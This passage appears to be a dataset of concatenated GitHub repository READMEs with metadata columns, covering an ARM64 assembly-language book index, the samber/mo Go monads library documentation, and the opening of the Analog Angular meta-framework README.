[More About `ldr`](./section_1/regs/ldr2.md) \| [Link](./section_1/regs/ldr2.pdf) \| \| 4d \| [Register Sizes](./section_1/regs/widths.md) \| [Link](./section_1/regs/widths.pdf) \| \| 4e \| [Hexadecimal](./section_1/hex.md) \| [Link](./section_1/hex.pdf) \| \| 5 \| [`switch`](./section_1/jump_tables/README.md) \| [Link](./section_1/jump_tables/README.pdf) \| \| 6 \| Functions \| \| \| 6a \| [Calling and Returning](./section_1/funcs/README.md) \| [Link](./section_1/funcs/README.pdf) \| \| 6b \| [Passing Parameters](./section_1/funcs/README2.md) \| [Link](./section_1/funcs/README2.pdf) \| \| 6c \| [Example of calling some common C runtime functions](./section_1/funcs/README3.md) \| [Link](./section_1/funcs/README3.pdf) \| \| 7 \| [FizzBuzz - a Complete Program](./section_1/fizzbuzz/README.md) \| [Link](./section_1/fizzbuzz/README.pdf) \| \| 8 \| Structs \| \| \| 8a \| [Alignment](./section_1/structs/alignment.md) \| [Link](./section_1/structs/alignment.pdf) \| \| 8b \| [Defining](./section_1/structs/defining.md) \| [Link](./section_1/structs/defining.pdf) \| \| 8c \| [Using](./section_1/structs/using.md) \| [Link](./section_1/structs/using.pdf) \| \| 8d \| [What is "this"](./section_1/structs/this.md) \| [Link](./section_1/structs/this.pdf) \| \| 9 \| [`const`](./section_1/const/README.md) \| [Link](./section_1/const/README.pdf) \| ### Section 2 - Floating Point Floating point operations use their own instructions and their own set of registers. Therefore, floating point operations are covered in their own section: \| Chapter \| Markdown \| PDF \| \| ------- \| -------- \| --- \| \| 0 \| [Chapter Overview](./section_2/float/README.md) \| [Link](./section_2/float/README.pdf) \| \| 1 \| [What Are Floating Point Numbers?](./section_2/float/what.md) \| [Link](./section_2/float/what.pdf) \| \| 2 \| [Registers](./section_2/float/working.md) \| [Link](./section_2/float/working.pdf) \| \| 3 \| [Truncation and Rounding](./section_2/float/rounding.md) \| [Link](./section_2/float/rounding.pdf) \| \| 4 \| [Literals](./section_2/float/literals.md) \| [Link](./section_2/float/literals.pdf) \| \| 5 \| [`fmov`](./section_2/float/fmov.md) \| [Link](./section_2/float/fmov.pdf) \| \| 6 \| [Half Precision Floats](./section_2/float/half.md) \| [Link](./section_2/float/half.pdf) \| \| 7 \| [NEON SIMD Not Yet Written](./not_written_yet.md) \| [Link](./not_written_yet.pdf) \| ### Section 3 - Bit Manipulation What would a book about assembly language be without bit bashing? \| Chapter \| Markdown \| PDF \| \| ------- \| -------- \| --- \| \| 1 \| Bit Fields \| \| \| 1a \| [Without Bit Fields](./section_3/bitfields/README.md) \| [Link](./section_3/bitfields/README.pdf) \| \| 1b \| [With Bit Fields](./section_3/bitfields/with.md) \| [Link](./section_3/bitfields/with.pdf) \| \| 1c \| [Review of Newly Described Instructions](./section_3/bitfields/review.md) \| [Link](./section_3/bitfields/review.pdf) \| \| 2 \| [Endianness](./section_3/endian/README.md) \| [Link](./section_3/endian/README.pdf) \| ### Section 4 - More Stuff In this section, we present miscellaneous material including our "world famous lecture" on debugging. This lecture has been invited at several colleges and universities. It is intended for audiences working with languages like C, C++ and assembly language but some of the lessons contained therein are applicable to all languages. \| Chapter \| Markdown \| PDF \| \| ------- \| -------- \| --- \| \| 1 \| [Apple Silicon](./more/apple_silicon/README.md) \| [Link](./more/apple_silicon/README.pdf) \| \| 2 \| [Apple / Linux Convergence](./macros) \| [Link](./macros/README.pdf) \| \| 3 \| [Variadic Functions](./more/varargs/README.md) \| [Link](./more/varargs/README.pdf) \| \| 4 \| [Under the hood: System Calls](./more/system_calls/README.md) \| [Link](./more/system_calls/README.pdf) \| \| 5 \| [Determining string literal lengths for C functions](./more/strlen_for_c/README.md) \| [Link](./more/strlen_for_c/README.pdf) \| \| 6 \| [Calling Assembly Language From Python](./python/) \| [Link](./python/README.pdf) \| \| 7 \| [Atomic Operations](./more/atomics/README.md) \| [Link](./more/atomics/README.pdf) \| \| 8 \| [Jump Tables](./more/jump_tables/README.md) \| [Link](./more/jump_tables/README.pdf) \| \| 9 \| [argv](./more/argv_example/jess1.S) \| ASM CODE \| \| 10 \| [spin-locks](./more/spin-lock/) \| [Link](./more/spin-lock/README.pdf) \| \| - \| [Debugging Lecture](./debugging/Discourses%20and%20Dialogs%20on%20Debugging.pptx) \| PPTX \| ## Macro Suite As indicated immediately above, the macro suite [can be found here](./macros/). ## Projects [Here](./projects/README.md) are some project specifications to offer a challenge to your growing mastery. Here are very brief descriptions presented in alphabetical order. * Perhaps before you tackle these, check out the fully described [FIZZBUZZ](./section_1/fizzbuzz/README.md) program first. * Then try [this](./projects/first_project/README.md) as your very first project. With some blank lines and comments it weighs in at 35 lines. * The [DIRENT](./projects/DIRENT/README.md) project demonstrates how a complex `struct` can be used in assembly language. * The [PI](./projects/PI/README.md) project demonstrates floating point instructions. The program will "throw darts at a target," calculating an approximation of PI by tracking how many darts "hit the target" versus the total number of darts "thrown". * The [SINE](./projects/SINE/README.md) project stresses floating point math and functions. * The [SNOW](./projects/snow/README.md) project uses 1970's era tech to animate a simple particle system. This project demonstrates a reasonable design process of breaking down complex problems into simpler parts. * The [WALKIES](./projects/walkies/README.md) presents a cute little animation demonstrating looping with some pointer dereferencing. ## About The Author Perry Kivolowitz's career in the Computer Sciences spans just under five decades. He launched more than 5 companies, mostly relating to hardware, image processing and visual effects (for motion pictures and television). Perry received Emmy recognition for his work on the The Gathering, the pilot episode of Babylon 5. Later he received an Emmy Award for Engineering along with his colleagues at [SilhouetteFX, LLC](https://en.wikipedia.org/wiki/SilhouetteFX). SilhouetteFX is used in almost every significant motion picture for rotoscoping, paint, tracking, 2D to 3D reconstruction, compositing and more. In 1996 Perry received an [Academy Award for Scientific and Technical Achievement](https://en.wikipedia.org/wiki/Academy_Award_for_Technical_Achievement) for his invention of Shape Driven Warping and Morphing. This is the technique responsible for many of the famous effects in Forrest Gump, Titanic and Stargate. Twenty twenty three marks Perry's 19th year teaching Computer Science at the college level, ten years at the UW Madison and now 8+ at Carthage College. Assembly language is a passion for Perry having worked in the following ISAs (in chronological order): * Univac 1100 * Digital Equipment Corporation PDP-11 * Digital Equipment Corporation VAX-11 * Motorola 68000 * ARM beginning with AARCH64 This work is dedicated to my wife Sara and sons Ian and Evan. ### Gratuitous Plugs Perry has created a library of about 200 programming projects suitable for CS 1, CS 2, Data Structures, Networking, Operating Systems and Computer Organization classes. If a publisher of CS text books (or other CS related content) would be interested in purchasing the library, please reach out. Also, check out [Get Off My L@wn](https://www.amazon.com/Get-Off-My-Zombie-Novel-ebook/dp/B00DQ26J8G), a Zombie novel for coders. You read that right... elite programmer Doug Handsman retires to his wife Ruth Ann's native northern Wisconsin. And then, well, the apocalypse happens. Bummer. Rated 4.3 out of 5 with more than 70 reviews, it's a fun read and costs next to nothing.	A book teaching assembly language programming on the ARM 64 bit ISA. Along the way, good programming practices and insights into code development are offered which apply directly to higher level languages.	aarch64,arm64,assembly-language,c,cpp,software-development	0	6	6	321	2	3	0
samber/mo	# mo - Monads [![tag](https://img.shields.io/github/tag/samber/mo.svg)](https://github.com/samber/mo/releases) ![Go Version](https://img.shields.io/badge/Go-%3E%3D%201.18-%23007d9c) [![GoDoc](https://godoc.org/github.com/samber/mo?status.svg)](https://pkg.go.dev/github.com/samber/mo) ![Build Status](https://github.com/samber/mo/actions/workflows/test.yml/badge.svg) [![Go report](https://goreportcard.com/badge/github.com/samber/mo)](https://goreportcard.com/report/github.com/samber/mo) [![Coverage](https://img.shields.io/codecov/c/github/samber/do)](https://codecov.io/gh/samber/mo) [![License](https://img.shields.io/github/license/samber/mo)](./LICENSE) 🦄 `samber/mo` brings monads and popular FP abstractions to Go projects. `samber/mo` uses the recent Go 1.18+ Generics. Inspired by: - Scala - Rust - FP-TS See also: - [samber/lo](https://github.com/samber/lo): A Lodash-style Go library based on Go 1.18+ Generics - [samber/do](https://github.com/samber/do): A dependency injection toolkit based on Go 1.18+ Generics Why this name? I love short name for such utility library. This name is similar to "Monad Go" and no Go package uses this name. ## 💡 Features We currently support the following data types: - `Option[T]` (Maybe) - `Result[T]` - `Either[A, B]` - `EitherX[T1, ..., TX]` (With X between 3 and 5) - `Future[T]` - `IO[T]` - `IOEither[T]` - `Task[T]` - `TaskEither[T]` - `State[S, A]` ## 🚀 Install ```sh go get github.com/samber/mo@v1 ``` This library is v1 and follows SemVer strictly. No breaking changes will be made to exported APIs before v2.0.0. This library has no dependencies except the Go std lib. ## 💡 Quick start You can import `mo` using: ```go import ( "github.com/samber/mo" ) ``` Then use one of the helpers below: ```go option1 := mo.Some(42) // Some(42) option1. FlatMap(func (value int) Option[int] { return Some(value2) }). FlatMap(func (value int) Option[int] { return Some(value%2) }). FlatMap(func (value int) Option[int] { return Some(value+21) }). OrElse(1234) // 21 option2 := mo.None[int]() // None option2.OrElse(1234) // 1234 option3 := option1.Match( func(i int) (int, bool) { // when value is present return i 2, true }, func() (int, bool) { // when value is absent return 0, false }, ) // Some(42) ``` More examples in [documentation](https://godoc.org/github.com/samber/mo). ### Tips for lazy developers I cannot recommend it, but in case you are too lazy for repeating `mo.` everywhere, you can import the entire library into the namespace. ```go import ( . "github.com/samber/mo" ) ``` I take no responsibility on this junk. 😁 💩 ## 🤠 Documentation and examples [GoDoc: https://godoc.org/github.com/samber/mo](https://godoc.org/github.com/samber/mo) ### Option[T any] `Option` is a container for an optional value of type `T`. If value exists, `Option` is of type `Some`. If the value is absent, `Option` is of type `None`. Implements: - `mo.Foldable[T, U]` Constructors: - `mo.Some()` [doc](https://pkg.go.dev/github.com/samber/mo#Some) - [play](https://go.dev/play/p/iqz2n9n0tDM) - `mo.None()` [doc](https://pkg.go.dev/github.com/samber/mo#None) - [play](https://go.dev/play/p/yYQPsYCSYlD) - `mo.TupleToOption()` [doc](https://pkg.go.dev/github.com/samber/mo#TupleToOption) - [play](https://go.dev/play/p/gkrg2pZwOty) - `mo.EmptyableToOption()` [doc](https://pkg.go.dev/github.com/samber/mo#EmptyableToOption) - [play](https://go.dev/play/p/GSpQQ-q-UES) - `mo.PointerToOption()` [doc](https://pkg.go.dev/github.com/samber/mo#PointerToOption) - [play](https://go.dev/play/p/yPVMj4DUb-I) Methods: - `.IsPresent()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.IsPresent) - [play](https://go.dev/play/p/nDqIaiihyCA) - `.IsAbsent()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.IsAbsent) - [play](https://go.dev/play/p/23e2zqyVOQm) - `.Size()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.Size) - [play](https://go.dev/play/p/7ixCNG1E9l7) - `.Get()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.Get) - [play](https://go.dev/play/p/0-JBa1usZRT) - `.MustGet()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.MustGet) - [play](https://go.dev/play/p/RVBckjdi5WR) - `.OrElse()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.OrElse) - [play](https://go.dev/play/p/TrGByFWCzXS) - `.OrEmpty()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.OrEmpty) - [play](https://go.dev/play/p/SpSUJcE-tQm) - `.ToPointer()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.ToPointer) - [play](https://go.dev/play/p/N43w92SM-Bs) - `.ForEach()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.ForEach) - `.Match()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.Match) - [play](https://go.dev/play/p/1V6st3LDJsM) - `.Map()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.Map) - [play](https://go.dev/play/p/mvfP3pcP_eJ) - `.MapNone()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.MapNone) - [play](https://go.dev/play/p/_KaHWZ6Q17b) - `.FlatMap()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.FlatMap) - [play](https://go.dev/play/p/OXO-zJx6n5r) - `.MarshalJSON()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.MarshalJSON) - `.UnmarshalJSON()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.UnmarshalJSON) - `.MarshalText()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.MarshalText) - `.UnmarshalText()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.UnmarshalText) - `.MarshalBinary()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.MarshalBinary) - `.UnmarshalBinary()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.UnmarshalBinary) - `.GobEncode()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.GobEncode) - `.GobDecode()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.GobDecode) - `.Scan()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.Scan) - `.Value()` [doc](https://pkg.go.dev/github.com/samber/mo#Option.Value) Other: - `mo.Fold[T, U, R any](f Foldable[T, U], successFunc func(U) R, failureFunc func(T) R) R` [doc](https://pkg.go.dev/github.com/samber/mo#Fold) ### Result[T any] `Result` respresent a result of an action having one of the following output: success or failure. An instance of `Result` is an instance of either `Ok` or `Err`. It could be compared to `Either[error, T]`. Implements: - `mo.Foldable[T, U]` Constructors: - `mo.Ok()` [doc](https://pkg.go.dev/github.com/samber/mo#Ok) - [play](https://go.dev/play/p/PDwADdzNoyZ) - `mo.Err()` [doc](https://pkg.go.dev/github.com/samber/mo#Err) - [play](https://go.dev/play/p/PDwADdzNoyZ) - `mo.Errf()` [doc](https://pkg.go.dev/github.com/samber/mo#Errf) - [play](https://go.dev/play/p/N43w92SM-Bs) - `mo.TupleToResult()` [doc](https://pkg.go.dev/github.com/samber/mo#TupleToResult) - [play](https://go.dev/play/p/KWjfqQDHQwa) - `mo.Try()` [doc](https://pkg.go.dev/github.com/samber/mo#Try) - [play](https://go.dev/play/p/ilOlQx-Mx42) Methods: - `.IsOk()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.IsOk) - [play](https://go.dev/play/p/sfNvBQyZfgU) - `.IsError()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.IsError) - [play](https://go.dev/play/p/xkV9d464scV) - `.Error()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.Error) - [play](https://go.dev/play/p/CSkHGTyiXJ5) - `.Get()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.Get) - [play](https://go.dev/play/p/8KyX3z6TuNo) - `.MustGet()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.MustGet) - [play](https://go.dev/play/p/8LSlndHoTAE) - `.OrElse()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.OrElse) - [play](https://go.dev/play/p/MN_ULx0soi6) - `.OrEmpty()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.OrEmpty) - [play](https://go.dev/play/p/rdKtBmOcMLh) - `.ToEither()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.ToEither) - [play](https://go.dev/play/p/Uw1Zz6b952q) - `.ForEach()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.ForEach) - `.Match()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.Match) - [play](https://go.dev/play/p/-_eFaLJ31co) - `.Map()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.Map) - [play](https://go.dev/play/p/-ndpN_b_OSc) - `.MapErr()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.MapErr) - [play](https://go.dev/play/p/WraZixg9GGf) - `.FlatMap()` [doc](https://pkg.go.dev/github.com/samber/mo#Result.FlatMap) - [play](https://go.dev/play/p/Ud5QjZOqg-7) Other: - `mo.Fold[T, U, R any](f Foldable[T, U], successFunc func(U) R, failureFunc func(T) R) R` [doc](https://pkg.go.dev/github.com/samber/mo#Fold) - `mo.Do[T any](fn func() T) (result mo.Result[T])` [doc](https://pkg.go.dev/github.com/samber/mo#Do) ### Either[L any, R any] `Either` represents a value of 2 possible types. An instance of `Either` is an instance of either `A` or `B`. Implements: - `mo.Foldable[T, U]` Constructors: - `mo.Left()` [doc](https://pkg.go.dev/github.com/samber/mo#Left) - `mo.Right()` [doc](https://pkg.go.dev/github.com/samber/mo#Right) Methods: - `.IsLeft()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.IsLeft) - `.IsRight()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.IsRight) - `.Left()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.Left) - `.Right()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.Right) - `.MustLeft()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.MustLeft) - `.MustRight()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.MustRight) - `.Unpack()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.Unpack) - `.LeftOrElse()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.LeftOrElse) - `.RightOrElse()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.RightOrElse) - `.LeftOrEmpty()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.LeftOrEmpty) - `.RightOrEmpty()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.RightOrEmpty) - `.Swap()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.Swap) - `.ForEach()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.ForEach) - `.Match()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.Match) - `.MapLeft()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.MapLeft) - `.MapRight()` [doc](https://pkg.go.dev/github.com/samber/mo#Either.MapRight) Other: - `mo.Fold[T, U, R any](f Foldable[T, U], successFunc func(U) R, failureFunc func(T) R) R` [doc](https://pkg.go.dev/github.com/samber/mo#Fold) ### EitherX[T1, ..., TX] (With X between 3 and 5) `EitherX` respresents a value of X possible types. For example, an `Either3` value is either `T1`, `T2` or `T3`. Constructors: - `mo.NewEitherXArgY()` [doc](https://pkg.go.dev/github.com/samber/mo#NewEither5Arg1). Eg: - `mo.NewEither3Arg1[A, B, C](A)` - `mo.NewEither3Arg2[A, B, C](B)` - `mo.NewEither3Arg3[A, B, C](C)` - `mo.NewEither4Arg1[A, B, C, D](A)` - `mo.NewEither4Arg2[A, B, C, D](B)` - ... Methods: - `.IsArgX()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.IsArg1) - `.ArgX()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.Arg1) - `.MustArgX()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.MustArg1) - `.Unpack()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.Unpack) - `.ArgXOrElse()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.Arg1OrElse) - `.ArgXOrEmpty()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.Arg1OrEmpty) - `.ForEach()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.ForEach) - `.Match()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.Match) - `.MapArgX()` [doc](https://pkg.go.dev/github.com/samber/mo#Either5.MapArg1) ### Future[T any] `Future` represents a value which may or may not currently be available, but will be available at some point, or an exception if that value could not be made available. Constructors: - `mo.NewFuture()` [doc](https://pkg.go.dev/github.com/samber/mo#NewFuture) Methods: - `.Then()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Then) - `.Catch()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Catch) - `.Finally()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Finally) - `.Collect()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Collect) - `.Result()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Result) - `.Cancel()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Cancel) ### IO[T any] `IO` represents a non-deterministic synchronous computation that can cause side effects, yields a value of type `R` and never fails. Constructors: - `mo.NewIO()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIO) - `mo.NewIO1()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIO1) - `mo.NewIO2()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIO2) - `mo.NewIO3()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIO3) - `mo.NewIO4()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIO4) - `mo.NewIO5()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIO5) Methods: - `.Run()` [doc](https://pkg.go.dev/github.com/samber/mo#Future.Run) ### IOEither[T any] `IO` represents a non-deterministic synchronous computation that can cause side effects, yields a value of type `R` and can fail. Constructors: - `mo.NewIOEither()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIOEither) - `mo.NewIOEither1()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIOEither1) - `mo.NewIOEither2()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIOEither2) - `mo.NewIOEither3()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIOEither3) - `mo.NewIOEither4()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIOEither4) - `mo.NewIOEither5()` [doc](https://pkg.go.dev/github.com/samber/mo#NewIOEither5) Methods: - `.Run()` [doc](https://pkg.go.dev/github.com/samber/mo#IOEither.Run) ### Task[T any] `Task` represents a non-deterministic asynchronous computation that can cause side effects, yields a value of type `R` and never fails. Constructors: - `mo.NewTask()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTask) - `mo.NewTask1()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTask1) - `mo.NewTask2()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTask2) - `mo.NewTask3()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTask3) - `mo.NewTask4()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTask4) - `mo.NewTask5()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTask5) - `mo.NewTaskFromIO()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskFromIO) - `mo.NewTaskFromIO1()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskFromIO1) - `mo.NewTaskFromIO2()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskFromIO2) - `mo.NewTaskFromIO3()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskFromIO3) - `mo.NewTaskFromIO4()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskFromIO4) - `mo.NewTaskFromIO5()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskFromIO5) Methods: - `.Run()` [doc](https://pkg.go.dev/github.com/samber/mo#Task.Run) ### TaskEither[T any] `TaskEither` represents a non-deterministic asynchronous computation that can cause side effects, yields a value of type `R` and can fail. Constructors: - `mo.NewTaskEither()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskEither) - `mo.NewTaskEitherFromIOEither()` [doc](https://pkg.go.dev/github.com/samber/mo#NewTaskEitherFromIOEither) Methods: - `.Run()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.Run) - `.OrElse()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.OrElse) - `.Match()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.Match) - `.TryCatch()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.TryCatch) - `.ToTask()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.ToTask) - `.ToEither()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.ToEither) ### State[S any, A any] `State` represents a function `(S) -> (A, S)`, where `S` is state, `A` is result. Constructors: - `mo.NewState()` [doc](https://pkg.go.dev/github.com/samber/mo#NewState) - `mo.ReturnState()` [doc](https://pkg.go.dev/github.com/samber/mo#ReturnState) Methods: - `.Run()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.Run) - `.Get()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.Get) - `.Modify()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.Modify) - `.Put()` [doc](https://pkg.go.dev/github.com/samber/mo#TaskEither.Put) ### Foldable[T, U] Foldable represents a type that can be folded into a single value based on its state. - `mo.Fold[T, U, R any](f Foldable[T, U], successFunc func(U) R, failureFunc func(T) R) R` [doc](https://pkg.go.dev/github.com/samber/mo#Fold) ## 🛩 Benchmark // @TODO This library does not use `reflect` package. We don't expect overhead. ## 🤝 Contributing - Ping me on Twitter [@samuelberthe](https://twitter.com/samuelberthe) (DMs, mentions, whatever :)) - Fork the [project](https://github.com/samber/mo) - Fix [open issues](https://github.com/samber/mo/issues) or request new features Don't hesitate ;) ### With Docker ```bash docker-compose run --rm dev ``` ### Without Docker ```bash # Install some dev dependencies make tools # Run tests make test # or make watch-test ``` ## 👤 Contributors ![Contributors](https://contrib.rocks/image?repo=samber/mo) ## 💫 Show your support Give a ⭐️ if this project helped you! [![GitHub Sponsors](https://img.shields.io/github/sponsors/samber?style=for-the-badge)](https://github.com/sponsors/samber) ## 📝 License Copyright © 2022 [Samuel Berthe](https://github.com/samber). This project is [MIT](./LICENSE) licensed.	🦄 Monads and popular FP abstractions, powered by Go 1.18+ Generics (Option, Result, Either...)	cats,either,fp,functional,future,generics,go,golang,io,maybe	16	9	20	104	12	1	3
analogjs/analog	# Analog <!-- prettier-ignore-start --> <!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> [![All Contributors](https://img.shields.io/badge/all_contributors-108-orange.svg?style=flat-square)](#contributors-) <!-- ALL-CONTRIBUTORS-BADGE:END --> <!-- prettier-ignore-end --> [![Discord server](https://dcbadge.vercel.app/api/server/mKC2Ec48U5?style=flat-square)](https://chat.analogjs.org/) [![Twitter](https://img.shields.io/twitter/follow/analogjs)](https://twitter.com/analogjs) Analog is the meta-framework for building applications and websites with [Angular](https://angular.dev). Similar to other meta-frameworks such as Next.JS, Nuxt, SvelteKit, Qwik City, and others, Analog provides a similar experience, building on top of Angular. ## Documentation Visit the docs at [https://analogjs.org](https://analogjs.org) ## Features - Powered by Vite - Supports Vitest/Storybook - Server and deployment integrations powered by [Nitro](https://nitro.unjs.io) - File-based routing - Server-side data fetching - Support for using markdown as content routes - Integrated API/server routes - Hybrid SSR/SSG support - Supports Angular CLI and Nx workspaces ## Getting Started Use your package manager of choice to create a new project With npm: ```sh npm create analog@latest ``` With pnpm: ```sh pnpm create analog@latest ``` With Bun: ```sh bun create analog@latest ``` With Yarn: ```sh yarn create analog ``` Follow the prompts to scaffold the project and start the development server. [![Open in StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://analogjs.org/new) ## Supporting Analog - Star the [GitHub Repo](https://github.com/analogjs/analog) - Join the [Discord](https://chat.analogjs.org) - Follow us on [Twitter](https://twitter.com/analogjs) - Become a [Sponsor](https://analogjs.org/docs/sponsoring) ### Sponsors <a href="https://github.blog/2023-04-12-github-accelerator-our-first-cohort-and-whats-next/" target="_blank"> <img src="https://github.com/analogjs/analog/blob/main/apps/docs-app/static/img/logos/github-logo.svg" width="100px" height="100px" alt="GitHub Accelerator" /> </a> <a href="https://nx.dev" target="_blank"> <img src="https://github.com/analogjs/analog/blob/main/apps/docs-app/static/img/logos/nx-logo.dark.svg" width="100px" height="100px" alt="NxDevTools" /> </a> <a href="https://houseofangular.io" target="_blank"> <img src="https://github.com/analogjs/analog/blob/main/apps/docs-app/static/img/logos/house-of-angular.png" width="100px" height="100px" alt="House of Angular" /> </a> <a href="https://code.build" target="_blank"> <img src="https://github.com/analogjs/analog/blob/main/apps/docs-app/static/img/logos/code.build-1x1.svg" width="100px" height="100px" alt="Code.Build" /> </a> <a href="https://snyder.tech/" target="_blank"> <img src="https://media.licdn.com/dms/image/C4E0BAQG4hMvLznt6_Q/company-logo_200_200/0/1630618311041/snydertechnologies_logo?e=2147483647&v=beta&t=TFq6VKWAgb5oI0FmbvaeTPFzMJR9S94_LvnLnlRqfLI" width="100px" height="100px" alt="Snyder Tech" /> </a> ## Contributing Analog welcomes contributors! Please read the [contributing doc](https://github.com/analogjs/analog/blob/main/CONTRIBUTING.md) for details. ## Credits The name was inspired by this project https://github.com/rrdelaney/Analog. ## Contributors ✨ Thanks goes to these wonderful people for contributing to Analog ([emoji key](https://allcontributors.org/docs/en/emoji-key)): <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://brandonroberts.dev"><img src="https://avatars.githubusercontent.com/u/42211?v=4?s=100" width="100px;" alt="Brandon"/><br /><sub><b>Brandon</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=brandonroberts" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=brandonroberts" title="Documentation">📖</a> <a href="#ideas-brandonroberts" title="Ideas, Planning, & Feedback">🤔</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dev.to/layzee"><img src="https://avatars.githubusercontent.com/u/6364586?v=4?s=100" width="100px;" alt="Lars Gyrup Brink Nielsen"/><br /><sub><b>Lars Gyrup Brink Nielsen</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=LayZeeDK" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=LayZeeDK" title="Tests">⚠️</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dev.to/markostanimirovic"><img src="https://avatars.githubusercontent.com/u/17877290?v=4?s=100" width="100px;" alt="Marko Stanimirović"/><br /><sub><b>Marko Stanimirović</b></sub></a><br /><a href="#tool-markostanimirovic" title="Tools">🔧</a> <a href="#infra-markostanimirovic" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/analogjs/analog/commits?author=markostanimirovic" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=markostanimirovic" title="Code">💻</a> <a href="#design-markostanimirovic" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jasonhodges"><img 